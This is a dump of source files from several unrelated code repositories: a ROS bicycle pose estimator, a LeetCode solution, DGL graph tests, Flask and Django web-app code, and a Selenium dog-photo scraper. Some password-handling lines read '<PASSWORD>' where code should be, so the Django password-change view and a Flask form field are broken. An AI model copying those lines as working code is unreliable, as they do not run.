self.data.plot(x=self.time, y=self.sim_phi, ax=axes[0, 1], legend=True) self.data.plot(x=self.time, y=self.sim_delta, ax=axes[0, 1], legend=True) axes[0, 1].set_title('angles') self.data.plot(x=self.time, y=self.gt_x, ax=axes[1, 0], legend=True) self.data.plot(x=self.time, y=self.sim_xf, ax=axes[1, 0], legend=True) self.data.plot(x=self.time, y=self.sim_xr, ax=axes[1, 0], legend=True) self.data.plot(x=self.time, y=self.gt_y, ax=axes[1, 0], legend=True) self.data.plot(x=self.time, y=self.sim_yf, ax=axes[1, 0], legend=True) self.data.plot(x=self.time, y=self.sim_yr, ax=axes[1, 0], legend=True) axes[1, 0].set_title('x-y (time)') self.data.plot(x=self.time, y=self.gt_v, ax=axes[1, 1], legend=True) self.data.plot(x=self.time, y=self.sim_v, ax=axes[1, 1], legend=True) axes[1, 1].set_title('v') self.data.plot(x=self.time, y=self.linear_a, ax=axes[2, 0], legend=True) axes[2, 0].set_title('linear a') self.data.plot(x=self.time, y=self.angular_vel_phi, ax=axes[2, 1], legend=True) self.data.plot(x=self.time, y=self.angular_vel_delta, ax=axes[2, 1], legend=True) axes[2, 1].set_title('angular vel') ``` #### File: autonomous_bicycle/scripts/imu_to_angles.py ```python import rospy import math from std_msgs.msg import Float32 from sensor_msgs.msg import Imu from tf.transformations import euler_from_quaternion rad2degrees = 180.0/math.pi degrees2rad = math.pi / 180.0 class Imu2Angles: def __init__(self): self.rate = rospy.get_param('~rate', 100.0) self.imu_name = rospy.get_param('~imu_name', 'imu_steer') self.topic_name = rospy.get_param('~topic_name', 'topic_name') self.roll = 0.0 self.pitch = 0.0 self.yaw = 0.0 self.pub_imu_roll_msg = Float32() self.pub_imu_pitch_msg = Float32() self.pub_imu_yaw_msg = Float32() self.pub_imu_roll = rospy.Publisher('/' + self.imu_name + '/roll', Float32, queue_size=1) self.pub_imu_pitch = rospy.Publisher('/' + self.imu_name + '/pitch', Float32, queue_size=1) self.pub_imu_yaw = rospy.Publisher('/' + self.imu_name + '/yaw', Float32, queue_size=1) self.sub = rospy.Subscriber(self.topic_name, Imu, self.process_imu_message, queue_size=1) rospy.spin() def process_imu_message(self, imuMsg): quaternion = ( imuMsg.orientation.x, imuMsg.orientation.y, imuMsg.orientation.z, imuMsg.orientation.w) (self.roll, self.pitch, self.yaw) = euler_from_quaternion(quaternion) self.roll = self.roll * rad2degrees self.pitch = self.pitch * rad2degrees self.yaw = self.yaw * rad2degrees self.publish_angles() def publish_angles(self): self.pub_imu_roll_msg = Float32() self.pub_imu_roll_msg.data = self.roll self.pub_imu_roll.publish(self.pub_imu_roll_msg) self.pub_imu_pitch_msg = Float32() self.pub_imu_pitch_msg.data = self.pitch self.pub_imu_pitch.publish(self.pub_imu_pitch_msg) self.pub_imu_yaw_msg = Float32() self.pub_imu_yaw_msg.data = self.yaw self.pub_imu_yaw.publish(self.pub_imu_yaw_msg) # Main function. if __name__ == '__main__': # Initialize the node and name it. rospy.init_node('Imu2Angles') try: obj = Imu2Angles() except: pass ``` #### File: autonomous_bicycle/src/pose_estimator_real.py ```python import datetime import time from numpy import linalg as LA # ROS dependencies import rospy import tf from tf import TransformBroadcaster import std_msgs.msg from nav_msgs.msg import Odometry from geometry_msgs.msg import Quaternion, Point, Pose # Import filters from classes.filters.EKF_sigma_model_fusion import * from classes.filters.UKF_sigma_model_fusion import * from autonomous_bicycle.msg import EKF_variables, bicycle_state # Import handlers from classes.handlers.ImuHandler import * from classes.handlers.OdometryHandler import * from classes.handlers.TwistHandler import * from classes.handlers.Vector3Handler import * from classes.handlers.FloatHandler import * rad2degrees = 180.0/math.pi degrees2rad = math.pi / 180.0 class RobotPoseEstimatorReal: """ Pose estimation of bicycle based on EKF and UKF and Real data Subscribe to measurement topics and publish estimated bicycle state X """ def __init__(self): self.degrees2rad = math.pi / 180.0 self.variables = EKF_variables() # Get values from launch file self.rate = rospy.get_param('~rate', 50.0) self.load_rosbag = rospy.get_param('~load_rosbag', False) self.parent_frame = rospy.get_param('~parent_frame', "world") self.child_frame_filter = rospy.get_param('~child_frame_filter', "estimated_odom_filter") self.child_frame_measurement = rospy.get_param('~child_frame_measurement', "estimated_odom_measurement") self.dt = 1.0/self.rate self.wheel_distance = 1.2 self.number_state_variables = 6 self.Z = np.zeros((10, 1)) # [xf, xr, yf, yr, zf, zr, za, delta, psi, phi] self.Z_plot = np.zeros((10, 1)) # [xf, xr, yf, yr, zf, zr, za, delta, psi, phi] self.X = np.array([0.0, 0.0, 0.0, 0.0, np.pi, 0.0]) # [x, y, z, sigma, psi, phi] # fading memory filter ( a = 1 to disable) self.alpha = 1.01 self.U = [0.0, 0.0, 0.0] self.max_pos = 1e3 self.max_angle = 2*np.pi # Extended kalman filter self.filter = EKF_sigma_model_fusion(wheel_distance=self.wheel_distance, dt=self.dt, alpha=self.alpha) # Uncented kalman filter # self.filter = UKF_sigma_model_fusion(dt=self.dt, w=self.wheel_distance) # Particle filter # self.filter = ParticleFilter_sigma_model(dt=self.dt, w=self.wheel_distance) self.topic_imu_1 = "/bicycle/imu_1" self.topic_imu_steering = "/bicycle/imu_steering" self.topic_gps_front = "/bicycle/odom_gps_front" self.topic_gps_rear = "/bicycle/odom_gps_rear" self.topic_odom = "/bicycle/odom" self.topic_velocity_twist = "/bicycle/gps_front_velocity" self.topic_velocity_vector3 = "/bicycle/gps_front_velocity" self.topic_velocity_wheel = "/bicycle/velocity" self.topic_altitude = "/bicycle/altitude" self.topic_angle_steering = "/bicycle/steering_angle" self.offset_za = 0.0 self.seq = 0 # create publishers self.pub_estimated_odom = rospy.Publisher("/bicycle/odom_filter", Odometry, queue_size=10) self.pub_EKF_variables = rospy.Publisher("/bicycle/ekf_data", EKF_variables, queue_size=10) self.pub_bicycle_state_measurement = rospy.Publisher("/bicycle/bicycle_state_measurement", bicycle_state, queue_size=10) self.pub_bicycle_state_filter = rospy.Publisher("/bicycle/bicycle_state_filter", bicycle_state, queue_size=10) self.bicycle_state_measurement = bicycle_state() self.bicycle_state_filter = bicycle_state() self.estimated_odom_br = TransformBroadcaster() # self.velocity_twist = TwistHandler(topic_name=self.topic_velocity_twist) self.velocity_wheel = FloatHandler(topic_name=self.topic_velocity_wheel) self.altitude_bar = FloatHandler(topic_name=self.topic_altitude) self.steering_angle = FloatHandler(topic_name=self.topic_angle_steering, buffer_size=1000) self.imu_1 = ImuHandler(topic_name=self.topic_imu_1) self.imu_steering = ImuHandler(topic_name=self.topic_imu_steering) self.odom_gps_front = OdometryHandler(topic_name=self.topic_gps_front) self.odom_gps_rear = OdometryHandler(topic_name=self.topic_gps_rear) self.last_time = rospy.Time.now() self.real_dt = self.dt # Main while loop. while not rospy.is_shutdown(): init_time = datetime.datetime.now() self.current_time = rospy.Time.now() # update real dt on filter self.filter.dt = self.real_dt # update variables for filter self.update_variables() # Update H based on available data self.H = np.zeros((10, 6)) # 10 measurements x 6 state variables self.H[0, 0] = 1.0 if abs(self.Z[0]) > 0 else 0.0 # xf self.H[1, 0] = 1.0 if abs(self.Z[1]) > 0 else 0.0 # xr self.H[2, 1] = 1.0 if abs(self.Z[2]) > 0 else 0.0 # yf self.H[3, 1] = 1.0 if abs(self.Z[3]) > 0 else 0.0 # yr self.H[4, 2] = 1.0 if abs(self.Z[4]) > 0 else 0.0 # zf self.H[5, 2] = 1.0 if abs(self.Z[5]) > 0 else 0.0 # zr self.H[6, 2] = 1.0 if abs(self.Z[6]) > 0 else 0.0 # za self.H[7, 3] = 1.0 if abs(self.Z[7]) > 0 else 0.0 # sigma self.H[8, 4] = 1.0 if abs(self.Z[8]) > 0 else 0.0 # psi self.H[9, 5] = 1.0 if abs(self.Z[9]) > 0 else 0.0 # phi self.filter.H = self.H # Prediction step # for i in range(5): self.filter.prediction(self.U) # Update step self.filter.update(self.Z) self.publish_bicycle_state() self.publish_efk_data() # send odometry filter self.publish_estimated_odometry(self.filter.get_state(), self.current_time, self.child_frame_filter) # send odometry Measurement if (abs(self.Z[0]) > 0 or abs(self.Z[2]) > 0) or not self.load_rosbag: self.publish_estimated_odometry(self.Z, self.current_time, self.child_frame_measurement) if self.last_time > self.current_time: self.filter.reset_filter() rospy.loginfo("Resetting filter") self.last_time = self.current_time time.sleep(self.dt) final_time = datetime.datetime.now() # Compute real delta time self.real_dt = (final_time - init_time).seconds def publish_efk_data(self): """ Takes filtered output data and publish it into ROS network """ # update Header h = std_msgs.msg.Header() h.stamp = rospy.Time.now() self.variables.header = h xs = self.filter.get_state() mp = self.max_pos ma = self.max_angle # Update state vector self.variables.xs_x = self.bound_limit(xs[0], -mp, mp) self.variables.xs_y = self.bound_limit(xs[1], -mp, mp) self.variables.xs_z = self.bound_limit(xs[2], -mp, mp) self.variables.xs_sigma = self.bound_limit(xs[3], -ma, ma) self.variables.xs_psi = self.bound_limit(xs[4], -ma, ma) self.variables.xs_phi = self.bound_limit(xs[5], -ma, ma) # Update measurement vector self.variables.z_xf = self.bound_limit(self.Z_plot[0], -mp, mp) self.variables.z_xr = self.bound_limit(self.Z_plot[1], -mp, mp) self.variables.z_yf = self.bound_limit(self.Z_plot[2], -mp, mp) self.variables.z_yr = self.bound_limit(self.Z_plot[3], -mp, mp) self.variables.z_zf = self.bound_limit(self.Z_plot[4], -mp, mp) self.variables.z_zr = self.bound_limit(self.Z_plot[5], -mp, mp) self.variables.z_za = self.bound_limit(self.Z_plot[6], -mp, mp) self.variables.z_sigma = self.bound_limit(self.Z_plot[7], -ma, ma) self.variables.z_psi = self.bound_limit(self.Z_plot[8], -ma, ma) self.variables.z_phi = self.bound_limit(self.Z_plot[9], -ma, ma) # Update input vector self.variables.u_v = self.U[0] self.variables.u_phi_dot = self.U[1] self.variables.u_delta_dot = self.U[2] # update kalman gain self.variables.k_x = self.bound_limit(self.filter.K[0, 0], -mp, mp) self.variables.k_y = self.bound_limit(self.filter.K[1, 1], -mp, mp) self.variables.k_z = self.bound_limit(self.filter.K[2, 2], -mp, mp) self.variables.k_sigma = self.bound_limit(self.filter.K[3, 3], -ma, ma) self.variables.k_psi = self.bound_limit(self.filter.K[4, 4], -ma, ma) self.variables.k_phi = self.bound_limit(self.filter.K[5, 5], -ma, ma) # update process covariance self.variables.p_x = self.bound_limit(self.filter.P[0, 0], -mp, mp) self.variables.p_y = self.bound_limit(self.filter.P[1, 1], -mp, mp) self.variables.p_z = self.bound_limit(self.filter.P[2, 2], -mp, mp) self.variables.p_sigma = self.bound_limit(self.filter.P[3, 3], -ma, ma) self.variables.p_psi = self.bound_limit(self.filter.P[4, 4], -ma, ma) self.variables.p_phi = self.bound_limit(self.filter.P[5, 5], -ma, ma) self.pub_EKF_variables.publish(self.variables) def publish_bicycle_state(self): """ Publish marker with bicycle state and measurement""" mp = self.max_pos ma = self.max_angle # Publish filtered state xs = self.filter.get_state() self.bicycle_state_filter.x = self.bound_limit(xs[0], -mp, mp) self.bicycle_state_filter.y = self.bound_limit(xs[1], -mp, mp) self.bicycle_state_filter.z = self.bound_limit(xs[2], -mp, mp) self.bicycle_state_filter.heading_psi = self.bound_limit(xs[4], -ma, ma) delta = np.arctan2(xs[3], 1/self.wheel_distance) self.bicycle_state_filter.steering_delta = self.bound_limit(delta, -ma, ma) self.bicycle_state_filter.lean_phi = self.bound_limit(xs[5], -ma, ma) self.pub_bicycle_state_filter.publish(self.bicycle_state_filter) # Publish measurement state self.bicycle_state_measurement.x = self.bound_limit(self.Z[0], -mp, mp) self.bicycle_state_measurement.y = self.bound_limit(self.Z[2], -mp, mp) self.bicycle_state_measurement.z = self.bound_limit(self.Z[4], -mp, mp) delta = np.arctan2(self.Z[7], 1/self.wheel_distance) self.bicycle_state_measurement.steering_delta = self.bound_limit(delta, -ma, ma) self.bicycle_state_measurement.heading_psi = self.bound_limit(self.Z[8], -ma, ma) self.bicycle_state_measurement.lean_phi = self.bound_limit(self.Z[9], -ma, ma) self.pub_bicycle_state_measurement.publish(self.bicycle_state_measurement) def update_variables(self): """ Update measurements and inputs (self.Z, self.Z_plot and self.U) based on subscribed data""" [gps_front_x, gps_front_y, gps_front_z] = self.odom_gps_front.get_value() [gps_rear_x, gps_rear_y, gps_rear_z] = self.odom_gps_rear.get_value() if not abs(self.offset_za) > 0: self.offset_za = self.altitude_bar.get_value() z_bar = self.altitude_bar.get_value() - self.offset_za imu_1_data = self.imu_1.get_value() imu_steering_data = self.imu_steering.get_value() # Read steering angle from IMU # delta = imu_steering_data[2] - imu_1_data[2] # Read steering angle from rotary encoder delta = self.steering_angle.get_value() delta *= degrees2rad sigma = np.tan(delta) / self.wheel_distance # psi = (imu_1_data[2] if imu_1_data[2] >= 0 else -imu_1_data[2]) # yaw psi = imu_1_data[2] # phi = (imu_1_data[1] if imu_1_data[2] >= 0 else -imu_1_data[1]) # pitch phi = imu_1_data[1] # pitch angular_vel_phi = imu_1_data[4] # angular_y angular_vel_delta = imu_steering_data[4] # angular_y # Update measurements self.Z[0] = gps_front_x # x self.Z[1] = gps_rear_x # x self.Z[2] = gps_front_y # y self.Z[3] = gps_rear_y # y self.Z[4] = gps_front_z # z self.Z[5] = gps_rear_z # z self.Z[6] = z_bar # z self.Z[7] = sigma # sigma self.Z[8] = psi # psi self.Z[9] = phi # phi self.Z_plot[0] = gps_front_x if abs(gps_front_x) > 0.0 else self.Z_plot[0] self.Z_plot[1] = gps_rear_x if abs(gps_rear_x) > 0.0 else self.Z_plot[1] self.Z_plot[2] = gps_front_y if abs(gps_front_y) > 0.0 else self.Z_plot[2] self.Z_plot[3] = gps_rear_y if abs(gps_rear_y) > 0.0 else self.Z_plot[3] self.Z_plot[4] = gps_front_z if abs(gps_front_z) > 0.0 else self.Z_plot[4] self.Z_plot[5] = gps_rear_z if abs(gps_rear_z) > 0.0 else self.Z_plot[5] self.Z_plot[6] = z_bar if abs(z_bar) > 0.0 else self.Z_plot[6] self.Z_plot[7] = sigma # sigma self.Z_plot[8] = psi # psi self.Z_plot[9] = phi # phi # [vx, vy, vz] = self.velocity_twist.get_value() # velocity_gps = LA.norm([vx, vy]) velocity = self.velocity_wheel.get_value()*0.23 self.U[0] = velocity self.U[1] = angular_vel_phi self.U[2] = angular_vel_delta def publish_estimated_odometry(self, x, current_time, child_frame): """ Publish estimated bicycle state (Odometry and TF)""" odom_quat = tf.transformations.quaternion_from_euler(0.0, 0.0, 0.0) # check if odom is valid if not np.isnan(x[0]) and not np.isnan(x[1]) and not np.isnan(x[2]): x[2] = 0.0 # TODO: Change it! only for testing # publish the transform over tf self.estimated_odom_br.sendTransform( (x[0], x[1], x[2]), odom_quat, current_time, child_frame, self.parent_frame ) # publish the odometry message odom = Odometry() odom.header.stamp = current_time odom.header.frame_id = self.parent_frame odom.pose.pose = Pose(Point(x[0], x[1], x[2]), Quaternion(*odom_quat)) odom.child_frame_id = child_frame self.pub_estimated_odom.publish(odom) def bound_limit(self, n, minn, maxn): return max(min(maxn, n), minn) # Main function. if __name__ == '__main__': rospy.loginfo('Starting RobotPoseEstimatorReal') # Initialize the node and name it. rospy.init_node('RobotPoseEstimatorReal') obj_temp = RobotPoseEstimatorReal() ``` #### File: src/pysdf/naming.py ```python from __future__ import print_function import re def sdf2tfname(sdfname): return sdfname.replace('::', '__').replace('@', 'AT') def name2modelname(name): # Cope with # - adding the same model multiple times through the GUI # - renamed models (e.g. because model occurs multiple times as sub-model) modelname = re.sub('_[0-9]*$', '', name) modelname = re.sub('@.*$', '', modelname) return modelname ```
{ "source": "jinghuayao/leetcode", "score": 4 }
#### File: leetcode/python/372_Super_Pow.py ```python class Solution(object): def __init__(self): self.base = 1337 def superPow(self, a, b): """ :type a: int :type b: List[int] :rtype: int """ # One knowledge: ab % k = (a%k)(b%k)%k # a^1234567 % k = (a^1234560 % k) * (a^7 % k) % k = (a^123456 % k)^10 % k * (a^7 % k) % k if b is None or len(b) == 0: return 1 last_digit = b.pop() return self.powmod(self.superPow(a, b), 10) * self.powmod(a, last_digit) % self.base def powmod(self, a, k): a %= self.base result = 1 for i in range(k): result = (result * a) % self.base return result ```
{ "source": "jinghuix/dgl", "score": 2 }
#### File: nn/tensorflow/softmax.py ```python import tensorflow as tf from ...sparse import _gspmm, _gsddmm from ...base import ALL, is_all __all__ = ['edge_softmax'] def edge_softmax_real(graph, score, eids=ALL): """Edge Softmax function""" if not is_all(eids): graph = graph.edge_subgraph(tf.cast(eids, graph.idtype), preserve_nodes=True) gidx = graph._graph score_max = _gspmm(gidx, 'copy_rhs', 'max', None, score)[0] score = tf.math.exp(_gsddmm(gidx, 'sub', score, score_max, 'e', 'v')) score_sum = _gspmm(gidx, 'copy_rhs', 'sum', None, score)[0] out = _gsddmm(gidx, 'div', score, score_sum, 'e', 'v') def edge_softmax_backward(grad_out): sds = out * grad_out accum = _gspmm(gidx, 'copy_rhs', 'sum', None, sds)[0] grad_score = sds - _gsddmm(gidx, 'mul', out, accum, 'e', 'v') return grad_score return out, edge_softmax_backward def edge_softmax(graph, logits, eids=ALL): """Closure for tf.custom_gradient""" @tf.custom_gradient def _lambda(logits): return edge_softmax_real(graph, logits, eids=eids) return _lambda(logits) ``` #### File: tests/compute/test_subgraph.py ```python import numpy as np import dgl import backend as F import unittest D = 5 def generate_graph(grad=False, add_data=True): g = dgl.DGLGraph().to(F.ctx()) g.add_nodes(10) # create a graph where 0 is the source and 9 is the sink for i in range(1, 9): g.add_edge(0, i) g.add_edge(i, 9) # add a back flow from 9 to 0 g.add_edge(9, 0) if add_data: ncol = F.randn((10, D)) ecol = F.randn((17, D)) if grad: ncol = F.attach_grad(ncol) ecol = F.attach_grad(ecol) g.ndata['h'] = ncol g.edata['l'] = ecol return g @unittest.skipIf(F._default_context_str == 'gpu', reason="GPU not implemented") def test_edge_subgraph(): # Test when the graph has no node data and edge data. g = generate_graph(add_data=False) eid = [0, 2, 3, 6, 7, 9] sg = g.edge_subgraph(eid) sg.ndata['h'] = F.arange(0, sg.number_of_nodes()) sg.edata['h'] = F.arange(0, sg.number_of_edges()) def test_subgraph(): g = generate_graph() h = g.ndata['h'] l = g.edata['l'] nid = [0, 2, 3, 6, 7, 9] sg = g.subgraph(nid) eid = {2, 3, 4, 5, 10, 11, 12, 13, 16} assert set(F.asnumpy(sg.edata[dgl.EID])) == eid eid = sg.edata[dgl.EID] # the subgraph is empty initially except for NID/EID field assert len(sg.ndata) == 2 assert len(sg.edata) == 2 sh = sg.ndata['h'] assert F.allclose(F.gather_row(h, F.tensor(nid)), sh) ''' s, d, eid 0, 1, 0 1, 9, 1 0, 2, 2 1 2, 9, 3 1 0, 3, 4 1 3, 9, 5 1 0, 4, 6 4, 9, 7 0, 5, 8 5, 9, 9 3 0, 6, 10 1 6, 9, 11 1 3 0, 7, 12 1 7, 9, 13 1 3 0, 8, 14 8, 9, 15 3 9, 0, 16 1 ''' assert F.allclose(F.gather_row(l, eid), sg.edata['l']) # update the node/edge features on the subgraph should NOT # reflect to the parent graph. sg.ndata['h'] = F.zeros((6, D)) assert F.allclose(h, g.ndata['h']) def _test_map_to_subgraph(): g = dgl.DGLGraph() g.add_nodes(10) g.add_edges(F.arange(0, 9), F.arange(1, 10)) h = g.subgraph([0, 1, 2, 5, 8]) v = h.map_to_subgraph_nid([0, 8, 2]) assert np.array_equal(F.asnumpy(v), np.array([0, 4, 2])) ```
{ "source": "JinghuiZhao/dogfind", "score": 3 }
#### File: dogfind/app/classes.py ```python from flask_login import UserMixin from werkzeug.security import check_password_hash from werkzeug.security import generate_password_hash from flask_wtf import FlaskForm from flask_wtf.file import FileField, FileRequired from wtforms import StringField, PasswordField, BooleanField, SubmitField from wtforms.validators import ValidationError, DataRequired, Email, EqualTo from app import db, login_manager class User(db.Model, UserMixin): """Class for user objects""" id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(80), unique=True, nullable=False) email = db.Column(db.String(80), unique=True, nullable=False) password_hash = db.Column(db.String(120), nullable=False) def __init__(self, username, email, password): """Initialize user object""" self.username = username self.email = email self.set_password(password) def set_password(self, password): """Generate password hash""" self.password_hash = generate_password_hash(password) def check_password(self, password): """Compares two password hashes""" return check_password_hash(self.password_hash, password) class RegistrationForm(FlaskForm): """Class for registering a new user when submitted""" username = StringField('Username', validators=[DataRequired()]) email = StringField('Email', validators=[DataRequired(), Email()]) password = PasswordField('Password', validators=[DataRequired()]) password2 = PasswordField( '<PASSWORD>', validators=[DataRequired(), EqualTo('password')]) submit = SubmitField('Register') def validate_username(self, username): """Checks input username against existing usernames in database""" user = User.query.filter_by(username=username.data).first() if user is not None: raise ValidationError('Please use a different username.') def validate_email(self, email): """Checks input email address against existing email addresses in database""" user = User.query.filter_by(email=email.data).first() if user is not None: raise ValidationError('Please use a different email address.') class LoginForm(FlaskForm): """Class for logging in a user when submitted""" username = StringField('Username', validators=[DataRequired()]) password = PasswordField('Password', validators=[DataRequired()]) remember_me = BooleanField('Remember Me') submit = SubmitField('Sign In') class UploadFileForm(FlaskForm): """Class for uploading file when submitted""" file_selector = FileField('File', validators=[FileRequired()]) submit = SubmitField('Submit') db.create_all() db.session.commit() # user_loader : # This callback is used to reload the user object # from the user ID stored in the session. @login_manager.user_loader def load_user(id): """Reload the user object from the user ID stored in the session""" return User.query.get(int(id)) ``` #### File: dogfind/tests/test_web_scrape.py ```python import sys, os sys.path.append('../') from selenium import webdriver from bs4 import BeautifulSoup import requests import random import time import pandas as pd import logging import urllib import shutil from util_scripts.web_scrape import * class Test_web_scrape(): def test_web_scrape(self): url = 'https://www.adoptapet.com/pet-search?clan_id=1&geo_range=50&location=seattle,%20wa' name = 'adoptapet' web_site = 'adoptapet' path = '/Users/elainezhao/Desktop/dog_img/' urls = get_urls(url) hrefs = get_hrefs(urls) titles, photo_urls = get_photo(hrefs) df = pd.DataFrame({'links': hrefs, 'titles': titles, 'photo_url': photo_urls}) df = df[df.photo_url != ' '].reset_index() df.to_csv('adoptapet.csv', index=False) download_image(df.photo_url, name, web_site, path) assert len(urls) == 2 assert len(hrefs) == 42 assert os.path.exists('adoptapet.csv') assert len(os.listdir('/Users/elainezhao/Desktop/dog_img/adoptapet')) == len(df) ``` #### File: dogfind/util_scripts/web_scrape.py ```python from selenium import webdriver from bs4 import BeautifulSoup import requests import random import time import pandas as pd import logging import os, sys import urllib import shutil def get_hrefs(urls): """ The webpage scrapper for list of all dogs. Design for adoptapet.com param: url: the list of links to webpage holding dog's infor return: hrefs: hrefs for all the dogs. """ hrefs = [] driver = webdriver.Chrome(executable_path="/Users/elainezhao/Desktop/puppylover_test/chromedriver") for url in urls: driver.get(url) soup = BeautifulSoup(driver.page_source, 'html.parser') for link in soup.find_all("a", {"class": "pet__item__link"}): href = link.get('href') hrefs.append('https://www.adoptapet.com' + href) driver.close() return hrefs def get_photo(hrefs): """ Input: a list of hrefs for different dogs Output: list of titles and list of photo urls for those dogs """ titles = [] photo_urls = [] driver = webdriver.Chrome(executable_path="/Users/elainezhao/Desktop/puppylover_test/chromedriver") for i, href in enumerate(hrefs): driver.get(href) # use selenium soup = BeautifulSoup(driver.page_source, 'html.parser') try: title = soup.title.text titles.append(title) except: titles.append(' ') try: div = soup.find('div', {"data-gallery": "gallery-image"}) photo_url = div.find('img')['src'] photo_urls.append(photo_url) except: photo_urls.append(' ') return titles, photo_urls def download_image(link, name, web_site, path): """ This function is to build a file folder that contains the downloaded picture. param: link: the list of image url, for which should only be the url. name: the name of the sub-directory. web_site: the website’s name. return: Nothing. """ path += name # build a folder if os.path.exists(path): shutil.rmtree(path) try: os.mkdir(path) except OSError: logging.info("Creation of the directory %s failed" % path) # iterate through all url link for i, url in enumerate(link): # save the image request = urllib.request.Request( url, headers={'User-Agent': 'Mozilla/5.0'}) img_name = str(i)+".jpg" with urllib.request.urlopen(request) as response, open(path+"/"+img_name, 'wb') as out_file: shutil.copyfileobj(response, out_file) # return a notice. logging.info("Store all images from link.") def get_urls(url): urls = [] for i in range(1, 3): urls.append(url + f'&page={i}#') return urls def main(): url = str(sys.argv[1]) print(url) urls = get_urls(url) hrefs = get_hrefs(urls) name = 'adoptapet' web_site = 'adoptapet' path = '/Users/elainezhao/Desktop/dog_img' titles, photo_urls = get_photo(hrefs) df = pd.DataFrame({'links': hrefs, 'titles': titles, 'photo_url': photo_urls}) df = df[df.photo_url != ' '].reset_index() df.to_csv('adoptapet.csv', index=False) download_image(df.photo_url, name, web_site, path) if __name__ == "__main__": # execute only if run as a script main() ```
{ "source": "jinghuquan/jing2019-1-7", "score": 3 }
#### File: jinghuquan/jing2019-1-7/matplotlib.py ```python import numpy as np import matplotlib.pyplot as plt def func(x): return -(x-2)*(x-8)+40 x=np.linspace(0,10) y=func(x) fig, ax=plt.subplots() plt.plot(x,y,'r',linewidth = 1) plt.show() ```
{ "source": "Jingil-Integrated-Management/JIM_backend", "score": 3 }
#### File: apps/authentication/views.py ```python from django.contrib.auth.password_validation import validate_password from rest_framework import status from rest_framework.response import Response from rest_framework.generics import UpdateAPIView from rest_framework.exceptions import ValidationError from .serializers import PasswordSerializer class PasswordUpdateAPIView(UpdateAPIView): serializer_class = PasswordSerializer def get_object(self): obj = self.request.user return obj def update(self, request, *args, **kwargs): user = self.get_object() serializer = self.get_serializer(data=request.data) serializer.is_valid() old_password = serializer.data['old_password'] new_password = serializer.data['new_password'] if not user.check_password(old_password): raise ValidationError({'message': 'old_password is wrong'}) if old_password == <PASSWORD>: raise ValidationError({'message': 'choose a different password'}) validate_password(<PASSWORD>) user.set_password(<PASSWORD>) user.save() return Response({'message': 'Password updated successfully'}) ``` #### File: apps/part/models.py ```python from django.db import models class File(models.Model): name = models.CharField(max_length=256) type = models.CharField(max_length=16) def __str__(self): return self.name class Material (models.Model): name = models.CharField(max_length=128, primary_key=True) class OutSource(models.Model): material_price = models.CharField( max_length=256, default=None, null=True, blank=True) milling_price = models.CharField( max_length=256, default=None, null=True, blank=True) heat_treat_price = models.CharField( max_length=256, default=None, null=True, blank=True) wire_price = models.CharField( max_length=256, default=None, null=True, blank=True) material_client = models.ForeignKey( 'client.Client', on_delete=models.CASCADE, related_name='material_clients', null=True, blank=True) milling_client = models.ForeignKey( 'client.Client', on_delete=models.CASCADE, related_name='milling_clients', null=True, blank=True) heat_treat_client = models.ForeignKey( 'client.Client', on_delete=models.CASCADE, related_name='heat_treat_clients', null=True, blank=True) wire_client = models.ForeignKey( 'client.Client', on_delete=models.CASCADE, related_name='wire_clients', null=True, blank=True) def __str__(self): return self.part.__str__() class Part(models.Model): drawing = models.ForeignKey( 'drawing.Drawing', on_delete=models.CASCADE, related_name='parts') division = models.ForeignKey('division.Division', on_delete=models.CASCADE) outsource = models.OneToOneField( OutSource, related_name='part', on_delete=models.SET_NULL, null=True, blank=True ) material = models.ForeignKey('Material', on_delete=models.CASCADE) file = models.OneToOneField( 'File', on_delete=models.CASCADE, null=True, blank=True) x = models.CharField(max_length=256) y = models.CharField(max_length=256) z = models.CharField(max_length=256) quantity = models.IntegerField(default=1) price = models.CharField( max_length=256, default=None, null=True, blank=True) comment = models.TextField(default=None, null=True, blank=True) def __str__(self): return '{} {}'.format(self.drawing.client.name, str(self.division)) def get_file(self): if self.file: return self.file.name else: return None def get_type(self): if self.outsource: return '제작' else: return '연마' ``` #### File: apps/part/views.py ```python from datetime import datetime from django.db.models import query from rest_framework.generics import (CreateAPIView, ListCreateAPIView, RetrieveUpdateDestroyAPIView) from rest_framework.parsers import MultiPartParser from rest_framework.response import Response from rest_framework import status from .serializers import (MaterialSerializer, OutSourceSerializer, PartReadSerializer, PartWriteSerializer) from .models import Material, Part, OutSource, File from .filters import PartFilter from google.cloud import storage from django_filters.rest_framework import DjangoFilterBackend class OutSourceCreateAPIView(CreateAPIView): serializer_class = OutSourceSerializer queryset = OutSource.objects.all() def create(self, request, *args, **kwargs): serializer = self.get_serializer(data=request.data) serializer.is_valid(raise_exception=True) self.perform_create(serializer) return Response( {'message': 'OutSource created.', 'id': serializer.data['id']}, status=status.HTTP_200_OK) class OutSourceRetrieveUpdateDestroyAPIView(RetrieveUpdateDestroyAPIView): queryset = OutSource.objects.all() lookup_url_kwarg = 'outsource_pk' serializer_class = OutSourceSerializer class PartListCreateAPIView(ListCreateAPIView): queryset = Part.objects.all().order_by('drawing__created_at', 'id') filter_backends = [DjangoFilterBackend] filterset_class = PartFilter def get_serializer_class(self): if self.request.method == 'POST': return PartWriteSerializer else: return PartReadSerializer class PartRetrieveUpdateDestroyAPIView(RetrieveUpdateDestroyAPIView): queryset = Part.objects.all() lookup_url_kwarg = 'part_pk' def get_serializer_class(self): if self.request.method == 'PATCH': return PartWriteSerializer else: return PartReadSerializer class PartFileCreateAPIView(CreateAPIView): queryset = File.objects.all() parser_classes = [MultiPartParser] def create(self, *args, **kwargs): file = self.request.data.get('file') file_type = file.name.split('.')[-1] file_name = 'file_{}.{}'.format( str(datetime.today().isoformat()), file_type ) try: storage_client = storage.Client() bucket = storage_client.bucket('jim-storage') blob = bucket.blob(file_name) blob.upload_from_string( file.file.read(), content_type='application/octet-stream') except: return Response( {'message': 'Cloud Storage Server Error'}, status=status.HTTP_500_INTERNAL_SERVER_ERROR) created = File.objects.create(name=file_name, type=file_type) return Response({'id': created.id, 'file': file_name}) class MaterialListAPIView(ListCreateAPIView): queryset = Material.objects.all() serializer_class = MaterialSerializer pagination_class = None ```
{ "source": "jingjie181/genalog", "score": 2 }
